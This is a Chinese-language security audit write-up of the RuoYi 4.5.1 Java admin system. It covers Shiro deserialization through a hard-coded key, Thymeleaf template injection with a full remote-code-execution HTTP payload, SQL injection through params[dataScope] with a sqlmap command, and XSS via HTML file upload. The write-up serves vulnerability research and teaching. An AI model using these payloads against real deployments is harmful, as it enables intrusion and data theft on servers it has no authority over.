前期准备

源码

Releases · yangzongzhuan/RuoYi

导入sql文件

image-20250606135444858

修改配置文件src/main/resources/application-druid.yml

image-20250606135824282

Shiro反序列化

pom.xml中发现引入了Shiro组件

image-20250606135917196

全局搜索cipherKey在src/main/resources/application.yml找到硬编码了密钥信息

1
zSyK5Kp6PZAAjlT+eeNMlg==

发现login逻辑中有一个Boolean参数rememberMe

image-20250606140639142

抓包验证

image-20250606144009115

查看subject.login跳转到jetbrains://idea/navigate/reference?project=RuoYi-4.5.1&path=~\.m2\repository\org\apache\shiro\shiro-core\1.7.0\shiro-core-1.7.0.jar!\org\apache\shiro\subject\Subject.class

说明已经来到了Shiro对应的Jar包中,用的Shiro进行的鉴权

在知道Shiro加密密钥和确认Web使用了Shiro进行登录认证鉴权的前提下可以通过漏洞利用工具直接进行利用

Apache Shiro <=1.2.4版本属于密钥硬编码且使用AES-CBC加密模式,在Apache Shiro 1.2.4版本之后则是由用户指定密钥且加密模式更改为了AES-GCM

查看版本

image-20250606141602830

工具直接打即可

image-20250606143040099

Thymeleaf模版注入

发现thymeleaf组件 版本为2.0.0

image-20250606143128503

先全局搜一下::查看哪些组件可控

src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java

image-20250606143557031

接受两个参数

1
2
* @param    fragment   页面中的模板名称
* @param taskName 任务名称

构造payload

攻击参考

CTF/Web/java/模板注入/Thymeleaf/README.md at main · bfengj/CTF

1
2
3
4
5
6
7
8
9
10
11
POST /demo/form/localrefresh/task HTTP/1.1
Host: 10.61.197.210
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=5b02998a-cf66-4ed5-a4bb-bbf66bfb8f28
Content-Type: application/x-www-form-urlencoded

taskName=1&fragment=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x

image-20250606144504522

SQLInjection安全问题

RuoYI CMS使用了Mybatis持久层框架,而在MyBatis中会使用XML或注解来配置和映射原生信息将接口和Java的POJOs(Plain Ordinary Java Object,普通的Java对象)映射成数据库中的记录,所以我们可以通过全局检索”${}”来确定未使用预编译的可疑位置,随后进行参数回溯分析来确定漏洞是否真实存在

image-20250606150726784

根据对应的mapper接口<mapper namespace="com.ruoyi.system.mapper.SysDeptMapper">

image-20250606151212635

检索接口的具体调用点有那些位置

image-20250606151310161

向上回溯Controller层

image-20250606151449507

@RequiresPermissions注解表明接口访问权限

@ResponseBody注解表明会将返回值写入http响应

image-20250606151521836

还需要看一下上层在调用接口的时候是否有做过滤处理

image-20250606151746230

发现没有 那么就可以确定/system/dept/list存在sql注入

image-20250606151929184

正常请求没有参数,可以手动构造params[dataScope]丢给sqlmap跑一下

在 Java 后端中,这样的参数会自动映射为一个嵌套的 Map:

1
2
@RequestParam Map<String, Object> params;
// params.get("dataScope") -> 值为 ""

或者,如果是实体类中写了 Map<String, Object> params 字段,也会映射进去。

1
2
3
deptName=
status=0
params[dataScope]=
1
python sqlmap.py -r C:\Users\31702\Desktop\req.txt --batch

image-20250606152747975

其余的漏洞点同理,这里再给一处

从SysUserMapper出发

image-20250606153348584

image-20250606153342319

回溯Controller层

image-20250606153453298

抓个包

image-20250606153727664

手动添加params[dataScope]

1
pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=100&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params[dataScope]=

image-20250606154125820

文件上传导致XSS

文件上传位置

image-20250606154240737

全局搜FileUpload定位到上传位置

image-20250606154332609

跟进

image-20250606154406790

紧接着在这里调用重载的upload方法来进行文件上传操作

image-20250606154524613

然后就是文件后缀和长度的检测

image-20250606154758566

image-20250606154554612

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static final void assertAllowed(MultipartFile file, String[] allowedExtension)
throws FileSizeLimitExceededException, InvalidExtensionException
{
long size = file.getSize();
if (DEFAULT_MAX_SIZE != -1 && size > DEFAULT_MAX_SIZE)
{
throw new FileSizeLimitExceededException(DEFAULT_MAX_SIZE / 1024 / 1024);
}

String fileName = file.getOriginalFilename();
String extension = getExtension(file);
if (allowedExtension != null && !isAllowedExtension(extension, allowedExtension))
{
if (allowedExtension == MimeTypeUtils.IMAGE_EXTENSION)
{
throw new InvalidExtensionException.InvalidImageExtensionException(allowedExtension, extension,
fileName);
}
else if (allowedExtension == MimeTypeUtils.FLASH_EXTENSION)
{
throw new InvalidExtensionException.InvalidFlashExtensionException(allowedExtension, extension,
fileName);
}
else if (allowedExtension == MimeTypeUtils.MEDIA_EXTENSION)
{
throw new InvalidExtensionException.InvalidMediaExtensionException(allowedExtension, extension,
fileName);
}
else if (allowedExtension == MimeTypeUtils.VIDEO_EXTENSION)
{
throw new InvalidExtensionException.InvalidVideoExtensionException(allowedExtension, extension,
fileName);
}
else
{
throw new InvalidExtensionException(allowedExtension, extension, fileName);
}
}

}

包含了html文件和pdf文件可以用于进行上传对应类型的文件,如果支持在线解析则可以导致XSS

image-20250606155507590

image-20250606155519885